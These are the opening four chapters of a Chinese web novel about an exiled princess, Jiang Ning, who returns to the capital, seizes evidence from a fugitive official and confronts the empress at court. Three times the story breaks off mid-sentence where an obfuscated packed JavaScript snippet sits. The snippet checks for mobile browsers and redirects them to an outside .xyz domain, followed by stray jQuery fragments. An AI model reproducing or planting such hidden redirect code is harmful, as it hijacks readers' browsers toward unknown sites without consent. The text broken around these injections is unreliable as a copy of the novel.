《风雪渡万里》 1. 第一章 风雪入京 姜宁回京那日，正逢京城入冬以来最大的风雪。 鹅毛般的雪花被狂风卷着，将天地搅成一片混沌苍茫。 就在这风雪肆虐之际，姜宁的车驾艰难行至京城南郊。忽然，一声沉闷的“咯吱”响起，车轮深深陷入雪坑，再难动弹。 “殿下，”车帘外传来苏七沉稳的声音，“雪坑颇深，需劳烦您与惜桃姑娘下车片刻。” 姜宁在颠簸中稳了稳身形，轻声道：“好，又要辛苦你们了。” 一旁的惜桃一边麻利地为姜宁系好大氅的系带，一边忍不住抱怨：“又得下车？ 苏九驾车能不能仔细些！这都第几回了？照这光景，今日还能不能进京了？” 话音刚落，车帘一角被猛地掀开，苏九探出头来辩解：“这回可真不赖我！是苏七在驾……”话未说完，便被帘外的苏七一把拽了回去，帘子随之落下。 惜桃对着帘子方向翻了个白眼：“那前几次总归是你的错处吧！” “无妨，下车走动走动也好。”姜宁温言安抚，顺手取了另一件大氅，仔细披在惜桃肩上。 车帘掀开的刹那，寒风劈头盖脸地砸来，刺得人睁不开眼。在苏九的搀扶下，姜宁和惜桃顶着风雪，深一脚浅一脚地下了马车。 姜宁站稳身形，接过苏七递来的油纸伞。风雪呼啸中，她的目光却被不远处雪地上一处微弱的起伏吸引。她不动声色，朝苏七递了个眼色。 苏七会意，长剑“锵”然出鞘，握在手中，警惕地缓步向那异动之处挪去。剑尖小心翼翼地拨开厚重的积雪——一个蜷缩的身影渐渐显露出来。 那人衣衫褴褛，满面尘灰也掩不住底色的惨白，双唇冻得青紫，一双骨节分明的手却死死护在胸前，仿佛怀中揣着比性命更重要的东西。 苏七的剑锋无声无息地抵上那人咽喉，对方却毫无反应。 姜宁见状，与惜桃撑着伞靠了过去。 或许是感知到了生人的气息，那紧闭的眼睫倏然颤动，猛地睁开。一双眸子虽深陷在憔悴的眼窝中，却异常明亮锐利，直直锁定了风雪中撑伞而来的姜宁。 “你……还好吗？”姜宁试探着问，声音穿透风声。 那人喘息着，目光灼灼地盯着姜宁，似乎用尽了全身力气，气若游丝地挤出破碎的字句：“姑娘……可是……要进京？能否……”话未说完，头一歪，彻底昏死过去。 惜桃吓得前去抓紧了姜宁的衣袖：“殿下！他……他不会死了吧？这可如何是好！” 姜宁轻轻拍了拍惜桃的手背以示安抚，随即蹲下身，指尖搭上那人的手腕。 触手冰冷，但脉息尚存，只是微弱杂乱。这人虽一身破旧布衣，肌肤却细腻白皙，绝非寻常苦力。脉象中更有一丝难以言喻的滞涩怪异，似是中毒，却似乎已不致命。 风雪愈下愈大，像是不知疲倦地席卷整个天地。 姜宁眉头紧蹙，毫不犹豫地解下自己身上的大氅，覆在那冻僵的男子身上。 氅衣带着她的体温，瞬间被风雪打湿了大片。“先带回京城。”她抬眸，语气不容置疑。 “是。”苏七应声，利落地将人扛起。 就在苏七弯腰扛人的瞬间，几页纸张从男子紧护的怀中滑脱，悄无声息地落入积雪。 惜桃眼疾手快，拾起一看，脸色微变：“殿下！这……像是官府文书！” “哦？”姜宁接过，快速翻看。一封印着户部鲜红官印的陈情书，还有几封往来信件。 陈情书落款的名字已模糊难辨，但那力透纸背的字迹……姜宁再熟悉不过。 “沈之衡？”姜宁唇角勾起一抹似笑非笑的弧度，侧目看向苏七肩上那张昏迷中仍显清俊的脸庞。 方才匆匆一瞥未曾留意，此刻细看，这狼狈不堪的男子，眉目间确实与画像上那位名动京城的沈侍郎有七八分相似。 苏七闻言，眸光一凛：“殿下是说，此人就是去年领衔弹劾您的那位沈之衡？” “可不是么，”姜宁笑意更深，带着几分玩味，“真巧。本宫刚抵京郊，这‘故人’就送上门来了。”她顿了顿，吩咐道：“先带回车上，仔细搜搜他身上还有什么。” “是。” 马车艰难地再次启程，碾过厚厚的积雪。车厢内，姜宁翻看着从沈之衡身上搜出的信件与账册，真相已如拼图般在眼前逐渐清晰。 原来如此。 沈之衡……姜宁默念着这个名字，一段不快的“往事”浮上心头。 沈之衡，字怀野。天元十八年高中状元，是本朝开国二百余载最年轻的状元郎。殿试策论文采斐然，见解卓绝，名扬天下。为官仅六载，便官拜正三品户部侍郎，深得圣心，是朝堂新贵，亦是京中高门争相延揽的“贤婿”。 姜宁八岁离京，远居长安，对京城官员素来不甚留心。知晓此人，皆因去年他领头的那场声势浩大的弹劾。 彼时，她奏请父皇拨款百万两，在长安营建公主府。内阁初拟决议，父皇朱批在即，却被沈之衡一道奏疏生生拦下。此子少年成名，乃清流领袖，父皇亦不得不顾及其颜面。 父皇原想着折中批个五十万两，谁知次日早朝，沈之衡当庭列数她承嘉公主“十宗罪”，字字诛心。 于是，建府之事，不了了之。 那“十宗罪”是如何说的来着？ 姜宁眯起眼，回忆翻涌： 一曰，动摇社稷根基。 二曰，苦害民生。 三曰，坏祖宗法度。 四曰，损皇室清誉。 ……余下几条，她已记不真切了。 沈之衡当庭弹劾的消息，连同她姜宁在长安“骄横奢靡”、“豢养男宠”的流言蜚语，不知何故，如同长了翅膀般在京城疯传。 消息传至长安，姜宁才着人细细打探了这位沈大人的底细。她自认在长安循规蹈矩，与沈之衡更是素昧平生，实不知这位“正直”文臣，为何偏要为难她这远在长安、与世无争的公主。 直至半月后，沈之衡兼任太子太师的消息传来，姜宁才恍然惊觉。 十二年过去，那位汪皇后，仍不肯放过她。 长安城那些子虚乌有的“罪状”能在京城传得沸沸扬扬，背后岂能少了汪皇后的推波助澜？ 再闻沈之衡音讯，已是今年七月。湖北大水，朝廷命他前往赈灾。 据外祖父苏崇苏阁老密信所言，现任户部尚书年迈将致仕，陛下早属意沈之衡接掌户部。虑其资历尚浅，恐遭物议，故借此赈灾之功，为其履新铺路，待其归京，便可顺理成章升任尚书。 赈灾本也顺利，岂料两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138552|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月前，正当他准备启程回京之际，湖北忽传噩耗——沈侍郎不慎失足落水，踪迹全无。 如今，这位“落水失踪”的沈侍郎，竟被风雪困途的姜宁“捡”了回来。 从他怀中这些浸透血汗的陈情书、密信和账册来看，桩桩件件直指贪腐与长江堤坝决口的黑幕。 所谓的“失足落水”，恐怕是一场蓄意的谋杀灭口罢了。 一介书生，竟能隐姓埋名，一路逃亡至此，其心志之坚，令人动容。 然而，此事牵扯朝中盘根错节的势力。苏家……亦在漩涡之中。 明面上，姜宁与母族苏家早已疏远，但暗地里，苏家始终是她最坚实的倚仗。 因此，这些“证据”既已落入她姜宁之手，岂有归还沈之衡之理？ 去年他当庭弹劾，令她声名狼藉。今日，他拼死护送的证物却成了她囊中之物。 命运弄人，莫过于此。 姜宁眸光幽深，缓缓将信件账册贴身收好。随后，她从贴身携带、师父所赠的木盒中取出一粒乌黑药丸，掰开沈之衡紧咬的牙关，塞了进去。 在抵达京城之前，沈之衡，必须安分地“睡”着。 待姜宁一行抵达京城南门，已是日暮时分。城楼下，宫中内侍早已在风雪中等候多时。 守卫验过公主信物，为首的内侍连忙上前，恭敬行礼：“殿下万安。入宫的轿撵已备好，陛下在宫中翘首以盼，请随老奴来。” 姜宁颔首：“是李公公吧？幼时离京，本宫倒还记得公公。有劳了。” 李泓顺应道：“殿下折煞老奴了。请。”他侧身引路。 姜宁随他上了暖轿。轿帘落下前，李泓顺迟疑地看向马车旁的惜桃、苏七和苏九：“殿下，您的侍从不一同入宫吗？陛下有口谕，殿下回京后，一切随心，不必拘束。” 姜宁微微一笑：“不必了，让他们在宫外候着便是。想来本宫面圣之后，很快便会出宫。” 李泓顺微露诧异：“殿下今夜……不住在宫内？” “李公公以为呢？”姜宁单手托腮，侧目反问，唇角噙着一抹若有若无的笑意。 李泓顺轻叹一声：“殿下，这么多年了，有些事……也该放下了。” “放下？”姜宁的目光越过他，投向远处风雪中那轮即将沉没的残阳，半晌，才淡淡道：“谈何容易。” 十四年前，幼弟夭折，母后思虑过度，随之而去。她被托付给当时的汪贵妃，如今的汪皇后。 十二年前，汪皇后之子，年仅两岁的姜齐落水，宫人众口一词指认是她所为。她百口莫辩，盛怒之下砸了汪皇后的寝宫。父皇一记耳光将她扇倒在地，怒斥她是“逆女”。 同年，姜齐又染重疾，命悬一线。钦天监上奏：承嘉公主命格与太子相冲，不可共处。 于是，在外祖父苏阁老的斡旋下，她远赴长安，为母后守陵。 可她，曾是大凌最受宠爱的明珠啊。 被迫离京十二载，她本欲在长安求得一方安宁，却又被泼上“奢淫蛮横”的污水，声名扫地。 要她放下？ 难道是她不想放下吗？ 风雪愈紧，如刀似剑。 今夜，父皇四十寿辰。 她姜宁，定要为汪皇后，奉上一份“厚礼”。 2. 第二章 泪落宫城 寿宴设在庆元殿内。 因着国库空虚，皇帝力行节俭，今岁四十寿宴并未大张旗鼓，只邀了皇亲近臣，殿中席位略显疏落。 轿撵停在殿前丹墀之下。李公公低声提点的话语犹在耳边，姜宁扶着小内侍的手缓缓下轿。 风雪暂歇，宫灯映着她发间那支步摇，在阶前投下细碎的光影。 “承嘉公主到——”李泓顺尖细的唱喏穿透殿内喧哗。 刹那间，满殿寂静。所有目光如芒刺般聚拢过来，聚焦在这位离京十二载的公主身上。 姜宁目不斜视，一步步走向御座之上的姜厚钦。步摇轻晃的幅度被她控制得恰到好处，一步一韵，端的是皇家气度。 行至御前，她下拜行礼，声音清越如碎玉：“儿臣参见父皇。恭祝父皇如月之恒，如日之升，福寿绵延，万寿无疆。” “起身吧。”御座上的声音听不出喜怒。话音未落，一阵压抑的咳嗽声传来。姜厚钦以帕掩口，咳罢，眼底泛起了不易察觉的潮湿，“宁儿……来，坐到父皇身边来，让父皇好好看看。” 姜宁并未依言起身。她抬眸，那双与明昭皇后极为肖似的眼睛里，迅速蓄满了水光，嘴角却努力弯出欣喜的弧度：“十二年未见，父皇可还安好？”嗓音已然沙哑。 姜厚钦怔住，猛地起身离座，快步走到她面前，指尖微颤地虚托起她的手腕：“好……好……父皇……很好。” 借着起身之势，姜宁眼睫一颤，两行清泪恰好滑落颊边：“儿臣在长安，日日跪守母后陵前，却连父皇白发新添几缕都无从知晓。”语带哽咽，字字如针。 这句话狠狠刺中了姜厚钦的心房。恍惚间，他仿佛看到那个梳着双鬟的小女孩，每日清晨牵着灵均的手，跌跌撞撞跑进殿来，一头扑进他怀里，奶声奶气地问：“父皇今日可还安好？” 后来灵均走了，那小小的身影便独自坐在宣政殿冰凉的台阶上，执着地等待下朝的他。那时，朝阳总是染红她稚嫩的脸庞，她小跑过来，依旧仰着脸问：“父皇今日可还安好？” 无论他回以温言或只是冷淡的一个“好”字，那小小的身影从未缺席，直到十二年前……风雪漫京城，她孤身远赴长安。 一别十二载，教他如何不想念？ 他深吸一口气，强抑激荡心绪，颤抖的手指轻轻扶正她发髻间那支步摇：“这步摇……是你母后的遗物吧。” “是。”姜宁仰着脸，眸中泛着泪光，“离京前夜，母后入梦……她说，她想您了。儿臣便自作主张，将这枚步摇带了回来。” 姜厚钦凝视着女儿酷似明昭皇后的眉眼，情难自禁：“你与灵均……越发相像了。”他顿了顿，声音带着不易察觉的恳切，“这次回来，就别走了吧。” 此言一出，四座微惊。 “陛下！”汪皇后霍然起身，欲提当年钦天监谶言。 姜厚钦只一摆手，不容置疑。 姜宁眼中瞬间迸发出真切的光彩，指尖紧紧攥住龙袍一角：“真的吗？父皇？儿臣……真的可以留在京城，陪伴父皇？”那份小心翼翼又充满渴望的姿态，令人动容。 姜厚钦抬手想像过去那般抚她发顶，却蓦然发觉女儿已长成亭亭玉立的少女。他收回手，语气斩钉截铁道：“当然！我儿想留多久便留多久。这里，是你的家。” “谢父皇！”姜宁伏身行大礼，声音带着压抑的颤音。 一礼定乾坤，归京已成定局。 长安已成坟茔，京城方为棋盘。 当年一句谶言，她被迫离京。 可是，所谓谶言，无非是看帝王信与不信。 当帝王需要时，那便是谶言。 当帝王不愿相信了，那不过只是一句笑话。 “父皇，”一个清朗的少年声音响起，“皇姐舟车劳顿，不如先请落座。儿臣备了寿礼，欲献与父皇。” 姜宁循声望去。汪皇后身侧，一位身着四爪蟒袍的少年长身而立，正是太子姜齐。 离京时他尚是幼童，如今已有成人身量。若皇弟姜宸还在……也该这般年纪了……姜宁心头一刺，面上却波澜不惊。 姜厚钦朗笑：“是朕疏忽了。宁儿，坐近些。且看太子备了何等厚礼！” 姜齐击掌，两名内侍抬上一覆着红绸的笼状物。 他行至殿中，朗声道：“儿臣近日随萧彻将军习练骑射，于长留山幸得仙禽。此乃天赐祥瑞，为父皇贺寿！”言罢，扬手掀开红绸—— 一只通体雪白、唯尾部翎羽青翠欲滴的仙鹤，傲然立于笼中。 “青尾鹤！”礼部尚书张瑾惊呼，“《瑞应图》载，青尾鹤现，主太平盛世，佑山河永固，君主千秋万岁！此乃天降祥瑞，臣恭贺陛下！” 殿内顿时贺声如潮。 姜厚钦龙颜大悦：“太子用心，赏！” 待仙鹤被恭敬捧下，殿内觥筹交错。姜宁以帕拭唇，起身离席，行至御前再拜：“父皇，儿臣亦有贺礼献上。” 她自袖中取出一页薄纸，小心展开。李鸿顺接过，呈至御前。 姜厚钦目光触及纸上内容，骤然凝眉。席间有人神色骤变，紧握酒杯；有人掩口窃笑，私语“莫不是贺寿诗赋？” “宁儿，此图……当真？”姜厚钦身体前倾，声音紧绷。 “千真万确！”姜宁声音清越，“此乃昆仑银矿舆图。儿臣得图后，即与长安知县高大人商议。高大人遣人亲往探查，确认无疑，矿脉宏大，年产白银百万两绰绰有余！” “苏阁老，汪阁老，你们也看看。”姜厚钦沉声道。 李鸿顺立刻将舆图分呈二人。苏崇阁老捋须颔首：“天佑大凌！此矿若开，可解国库燃眉之急。” 汪远阁老审视着舆图，目光如鹰隼般看向姜宁：“敢问公主，此图从何而来？为何不即刻奏报朝廷？那高知县既知有此矿，竟也敢隐匿不报么？” 三言两语，贺礼随即成为问责。 汪皇后适时温言道：“宁儿，莫怕，只管说。陛下圣明，不会怪罪于你。” 姜宁骤然抬眸，唇边绽开一抹冰冷的笑：“呵，‘宁儿’？汪皇后，宁儿也是你能叫的么？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138553|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜宁！放肆！”姜厚钦怒斥，一如当年她砸碎汪皇后寝宫时。 姜宁倏然跪地，额头重重磕在冰冷的地上：“回父皇！此图乃一游历山川的徐姓长者所赠。彼时他言此图可解国难，留下图后便飘然而去，再寻不得。儿臣与高知县恐图有伪，不敢以虚妄之事惊扰圣听，故先行查证。待高大人勘验无误时，恰逢儿臣奉旨回京贺寿。为保万全，儿臣命高大人另绘副本存案，由儿臣亲携此原图，以作父皇寿礼。” 她再次叩首，额头紧贴冰冷地面，“儿臣，从未欺瞒父皇！” 姜厚钦沉默。他知道，那句“从未欺瞒”，亦是在质问十二年前，他不曾信她未推姜齐落水的冤屈。 “倒也……合情。”苏崇打破僵局，看向汪远，“汪阁老觉得呢？” 汪远冷哼：“真假与否，遣人一探便知！” 姜厚钦面露疲色：“银矿事关国本，明日早朝再议。散了吧。”挥手示意散席。 朝臣如潮水退去。空旷大殿中，唯余姜宁一人长跪。 姜厚钦步下御座，扶起姜宁，拭去她眼角泪痕：“莫哭了。汪阁老只是谨慎些……” 姜宁抬眸，泪光盈盈，却字字清晰：“儿臣何曾在乎旁人？儿臣只痛心，父皇从未信过儿臣。” “朕，是天子！”姜厚钦声音陡然加重。 天子无错，更不会致歉。 汪皇后轻拍皇帝后背：“陛下寿辰，公主莫要再惹圣心不快了。” 姜厚钦咳了两声：“蒹葭宫已为你备下，往后，便住在宫中吧。” 姜宁语气转柔，却带着不容转圜的坚持：“父皇，儿臣离京多年，唯伴梅香方能安枕。母后昔年在城西置有梅园别业，儿臣恳请父皇，将此园赐作儿臣府邸。” 姜厚钦凝视女儿倔强的眼眸，良久，终是妥协：“……罢了，随你。”语毕，带着李泓顺离去。 “儿臣谢父皇！”姜宁行礼如仪，目送銮驾。 汪皇后行过她身侧，语带讥讽：“长安十二载，还不够磨磨你的性子么？” 姜宁侧首，唇角勾起漫不经心的弧度：“皇后娘娘如此忌惮于我，可是做了什么亏心事？” 汪皇后脸色铁青，拂袖而去。 “皇姐此番归京，”少年清朗的声音自身后响起，“是为储君之位么？” 姜宁未回话，转身离去。 姜齐几步上前，十四岁的少年身量已与她齐平，语带锋芒：“皇姐当知，父皇不喜储位之争。我大凌，也断无女子当政之理。” 寒风灌入殿门，卷起姜宁鬓边碎发。她蓦然驻足，回道： “十四年前姜宸夭折时，你尚在襁褓，自然不懂何谓手足相残。 十二年前谶言迫我离京，你懵懂无知，更不晓何谓构陷之痛。 如今——” 她侧身看向姜齐，唇角勾起冰冷的笑意：“你母后赐我的污名，本宫自当百倍奉还。至于储君？本宫若真要争，你以为那只青尾鹤护得住你么？” 话毕，她决然转身，踏入殿外漫天风雪。唯余少年太子僵立原地。 3. 第三章 入公主府 姜宁步出宫门时，风雪已积了寸许。 惜桃与苏七在宫墙下候了多时，见她身影，连忙迎上。苏七擎伞挡住风雪，惜桃则替她拂去肩上积雪，又将暖烘烘的大氅拢紧。 姜宁接过惜桃递来的汤婆子，指尖传来暖意，随口问道：“沈之衡可醒了？” “回殿下，”苏七答得利落，“刚到天香楼便醒了。按您的吩咐，予他吃食，又在茶水中下了迷药。此刻苏九守着。” 姜宁颔首：“好。如何处置此人，待我与外祖父商议后再定。” 三人折返天香楼。行至客房外，却见内里漆黑一片。 “咦？苏九怎不点灯？”惜桃讶异，伸手欲推门。 苏七眼疾手快将她拦下，示意姜宁后退。他“铮”一声利剑出鞘，侧身推开门扉——只见苏九倒在地上，而床榻上空空如也！ “苏九！醒醒！”苏七蹲下拍打他的脸，“沈之衡人呢？” 苏九迷迷糊糊睁眼，嘟囔道：“苏七啊……你们回来了？让我再睡会儿……” 苏七眉头一拧，瞥见桌上半盏残茶，抬手便泼向苏九面门。不料苏九眼皮一翻，竟又昏了过去！ “糟了！是迷药！”苏七心中一凛，离开苏九，连忙探手一摸床榻被褥——尚有余温。 此时，姜宁与惜桃已步入房中，烛火点亮。苏七回禀：“殿下，沈之衡应是刚走不久，可要追寻？” 姜宁的目光扫过桌上茶盏，声音平静无波：“东西呢？” 苏七按了按胸口：“在。属下贴身保管，未曾离身。” “那便不必追了，”姜宁唇角微扬，眸中掠过一丝赞许，“只要证物在，主动权便在我们手上，他沈之衡也不敢贸然掀起什么风浪。倒是我小觑了这位沈侍郎……” 她转向苏七：“弄醒苏九，问个明白。” 几番推搡拍打，苏九终于彻底清醒。看到空荡荡的床榻，他脸色煞白，一骨碌爬起来：“坏了坏了！殿下，我坏事了！” 姜宁在桌旁落座，指尖轻叩桌面：“说说吧，怎么回事。” 苏九懊恼地挠头：“沈之衡醒来后吃了东西，喝了那杯迷药茶，很快又晕了。惜桃和苏七离开后，属下一直盯着他，绝无懈怠！后来属下实在饿了，就去门口叫小二送饭。回来给自己倒了杯茶，喝了半盏，才觉得味道不对……再往后，就什么都不知道了。直到苏七把我拍醒……” 房中一时静默。 惜桃忍不住翻了个白眼：“苏九！你该不会喝的是沈之衡那杯茶吧？” “怎么可能！”苏九急得跳脚，“殿下明鉴！属下分得清！定是那沈之衡装晕，趁我叫小二的空当，偷偷调换了茶水！” 姜宁神色淡然，并未追责：“嗯，知道了。这些日子辛苦，今夜就在此歇息吧。明日，我们迁入公主府。” “公主府？”惜桃眼睛一亮。 姜宁眼中漾开真切的笑意：“是。父皇将母后旧日置下的梅园宅邸赐给我了。往后，我们便留在京城。” 惜桃欢喜得拍手：“太好啦！恭喜殿下！” 苏七却面露忧色：“殿下留在京中，汪氏一党的明枪暗箭，只怕更甚往昔。” 姜宁深吸一口凛冽寒气，眸光冰冷：“长安十二载，是不得已的蛰伏。十四年前的真相，是时候见天日了。” 苏九忽地想起什么，提醒道：“殿下，沈之衡恐怕已经记住了属下的长相。属下是否需要离京暂避一段时日？” 姜宁略一沉吟：“是个麻烦，但也无妨。只要我咬定未曾见过那些东西，即便他认出了我们，又能奈我何？” 翌日清晨，在天香楼用过早膳，一行人便往城西那座承载着明昭皇后心血的宅院行去。 宅邸门前，李鸿顺领着内侍宫人早已恭候。见姜宁下车，他恭敬奉上圣旨：“殿下，陛下赐府圣旨在此。公主府牌匾已悬，府内一应物事亦已归置妥当。” 姜宁接过圣旨：“有劳李公公。代我向父皇问安。” “殿下客气，老奴定当转达。若殿下无其他吩咐，老奴这便回宫复命。”李鸿顺躬身欲退。 “公公且慢。”姜宁唤住他，目光扫过阶前垂手侍立的宫人，“这些人，也请公公带回宫中吧。” 李鸿顺面露难色：“殿下，这些都是陛下亲命司礼监为公主挑选的得力人手……” 姜宁语气温和却不容置喙：“本宫喜清净。父皇说过，回京之后，一切随我心意。公公不必为难，过两日本宫自会入宫谢恩。” 李鸿顺只得应下：“……老奴遵命。”遂带着一干人等告退。 待李鸿顺等人远去，姜宁才领着惜桃、苏七、苏九踏入这座属于她的府邸。 宅院不大，亭台水榭却处处透着雅致与用心。姜宁指尖拂过熟悉的廊柱，眼前仿佛又见母后当年执图笑语：“漪漪若喜欢，这园子将来便是你的公主府。待你遇着个知冷知热、能护你周全的人，母后便安心了……”那是母后缠绵病榻时，难得的明朗笑意。 十二年前离京前夕，她曾偷偷来过。彼时才知，父皇竟悄悄在园中遍植了腊梅。 母后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138554|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生前最爱腊梅啊……她走后一年，宫中那片梅林便被汪皇后寻借口尽数砍去。 而今，这处梅园依旧，连一砖一瓦的位置都未曾改变。 时值深冬，梅开正盛，冷冽幽香萦绕庭院。 “看来这些年，父皇还是着人精心照管着。”姜宁轻啜一口惜桃奉上的热牛乳茶，暖意融融。 苏九点头附和：“李公公办事，自是稳妥的。” 惜桃又为她添了杯茶，问道：“殿下，如今安顿下来，接下来有何打算？” 姜宁放下茶盏，眉梢微挑：“自然先寻个厨子。” “啊？”惜桃与苏九异口同声，面露愕然。 姜宁睨了他们一眼：“不然呢？靠你们那糖盐不分的本事度日？” 惜桃顿时蔫了：“唉，真想念顾先生……又懂药理，厨艺又绝，在长安多舒坦啊。” 姜宁眼中也泛起一丝怀念：“师父难得清闲，就让他自在游历吧。” 正说着，苏七裹着一身寒气入内，呈上两封信：“殿下，凤明堂和苏府的信。” 姜宁拆开凤明堂的信笺，飞快扫过：“师父一切安好，现下游历至蜀地。” “顾先生何时能来京城啊……”惜桃托腮，满是期盼。 姜宁莞尔，又拆开苏府来信。 信中外祖父言明三事：左都御史甘璋昨夜在府前拾得冻僵的沈之衡；朝中为昆仑银矿主事人选争论不休；以及……外祖母想她了。 阅毕，姜宁信手将信笺投入火盆。信笺腾起一簇亮光，旋即化为灰烬。 “这沈之衡，倒是个明白人。”她唇边噙着一丝玩味的笑，“知道去找都察院，而非他那户部尚书的老师。” “殿下，”苏七请示，“苏府送信的人还在外候着回话。” “哦？看来外祖父也无意再避讳了，”姜宁眸光微动，“去回话，明日我入宫给父皇请安后，便回府探望。另外……”她顿了顿，语气变得格外认真，“问问府里，可有手艺精湛的厨子？暂借一位过来。” “厨子？”苏七微怔，随即了然，眼中掠过促狭的笑意，“殿下放心，此事顾先生已有安排。” 他忽地击掌两下，扬声道：“红叶姑娘，请进来吧。” 在众人好奇的目光中，一位身姿利落、目光沉静的年轻女子步入厅内，对着姜宁盈盈一礼：“红叶，拜见公主殿下。” 姜宁看着眼前陌生的女子，略带疑惑：“这是……？” 苏七笑容更深，朗声道：“回殿下，此乃顾先生为您准备的厨子。” 4. 第四章 当街交锋 次日，风雪渐减。姜宁乘马车入宫，苏七照例留守宫门。 庆元殿前，李泓顺躬身相迎：“殿下万安。陛下正与沈大人议事，劳您稍候片刻。” “有劳公公。”姜宁目光扫过紧闭的殿门，“不知是哪位沈大人？” 李泓顺垂首：“是户部侍郎沈之衡沈大人。听闻……不日将调任都察院左副都御史。”他猛地收住话头，面露懊悔，“老奴失言了，还请殿下切莫外传。” 姜宁唇角微弯，漫不经心道：“本宫今日不曾听闻何事。” 两人心照不宣，静立廊下。 “吱呀——”沉重的殿门被内侍缓缓推开。 沈之衡身着绯色官袍，迈步而出。行至阶前，他先向李泓顺颔首致意：“李公公。”目光随即落在李泓顺身侧的华服女子身上，略带探寻。 李泓顺连忙引见：“沈大人，此乃承嘉公主殿下。” 姜宁噙着浅笑，静静打量眼前之人。官袍衬得他身姿挺拔，一扫雪地里的狼狈，确与画册上那位名动京城的沈侍郎别无二致。只是不知……他可还记得那日风雪？ 沈之衡神色一整，躬身行礼：“微臣唐突，殿下恕罪。” “沈大人多礼了。”姜宁声线平稳，笑意未达眼底。 这声音？沈之衡身形几不可察地一滞。他倏然抬眸，目光如炬，紧锁姜宁。 那日风雪中撑伞的身影、清冷的梅香，与眼前明艳的公主瞬间重叠。 “不知……殿下是何时归京的？”他声音微紧。 姜宁迎上他审视的目光：“前日。” 沈之衡眸中情绪翻涌，追问道：“殿下入京途中，可曾遇着什么特别的人或事？” “确是遇了桩怪事。”姜宁忽而轻笑，向前两步，贴近沈之衡耳畔。温热的呼吸拂过他耳廓，声音低如耳语，带着戏谑：“本宫在城郊捡了个样貌顶好的郎君，本想收作男宠，谁知他竟连夜跑了。沈大人若得消息，可得给本宫送回来啊。” 极近的距离，姜宁能清晰地嗅到他身上清苦的药草气息。 沈之衡猛地后退半步，气息骤然紊乱起来。 李泓顺未敢多言，只当未见。 不过瞬息，沈之衡已敛去所有失态，恢复了那副古井无波的模样，只声音沉了几分：“微臣……会替殿下留意。改日定当登门拜访，还请殿下……勿要将微臣，拒之门外。”最后几字，刻意放缓，字字清晰。 “本宫静候沈大人。”姜宁笑得愈发灿烂。 沈之衡深深一揖，转身步入风雪。姜宁望着那抹绯色消失在宫道尽头，玩味一笑：“这位沈大人，倒是个妙人。公公觉得呢？” 李泓顺憋着笑意：“殿下，该进去请安了。” 殿内，姜厚钦正批阅奏章。 姜宁依礼问安：“儿臣给父皇请安。” “嗯，起来吧。坐。”姜厚钦头也未抬，朱笔在折子上落下一道红批，状似随意道：“方才殿外，听你与沈卿似乎相谈甚欢？” 姜宁落座，拈起一块案上桂花酥：“沈大人问儿臣归京路上可有奇遇，儿臣便说丢了个男宠，托他帮着寻寻。” “胡闹！”姜厚钦终于抬眼，蹙眉看她，“就不怕他再参你一本？” 姜宁垂眸：“儿臣不敢。” “罢了，”姜厚钦搁下笔，话锋一转，“昆仑银矿，兹事体大，主管此事的人选尚未定下。既然舆图是你得到的，朕也想问问你的意见，你举荐何人？” “儿臣不通政务，父皇定夺便是。”姜宁咽下糕点，语气轻快，“若非要儿臣来选，长英哥哥最是稳妥。” “他才从湖北赈灾回来！”姜厚钦哼了一声，“你倒不心疼自家兄长。” 姜宁嘟囔：“儿臣哪知这些……” 姜厚钦没再追问，转而道：“公主府住着可还习惯？” “母后旧居，自是处处合心。”姜宁答得理所当然。 “听李鸿顺说，你把朕给你挑的宫人都遣回来了。” “儿臣喜静，身边有惜桃他们足矣。况且，宫里人的规矩太多，儿臣不喜。”姜宁淡淡道。 姜厚钦指尖微顿。曾几何时，灵均初入王府，也这般依偎着他抱怨：府中之人的规矩太多，她不喜。 他无声喟叹：“既如此，公主府的侍从，便随你心意吧。但你毕竟是朕唯一的女儿。”他语气转沉，“朕从羽林卫挑二十人给你，充作府兵护卫。若有急事，也好通传。” “儿臣谢父皇。” “嗯，朕还要见萧彻，就不留你了。你退下吧。”姜厚钦重新执起朱笔。 姜宁行礼告退。行至殿门，身后忽传来一声低唤： “漪漪。” 姜宁脚步倏然顿住，难以置信地回身：“……父皇？” 这个乳名，自母后薨逝，父皇已多年未唤。 姜厚钦的目光越过御案，深邃难辨：“漪漪，你且记着，无论如何，你都是朕和灵均唯一的孩子。朕，不会不管你。” 姜宁心头微震，顺从垂首：“儿臣记住了。” 马车驶离宫门，向苏府行去。车厢内，姜宁指尖无意识摩挲着袖口，父皇那句沉甸甸的嘱咐，仍在耳畔萦绕。 此刻，她只当是寻常安抚，直到后来那道遗诏现世，她才后知后觉——这一句，是父皇许下的承诺。 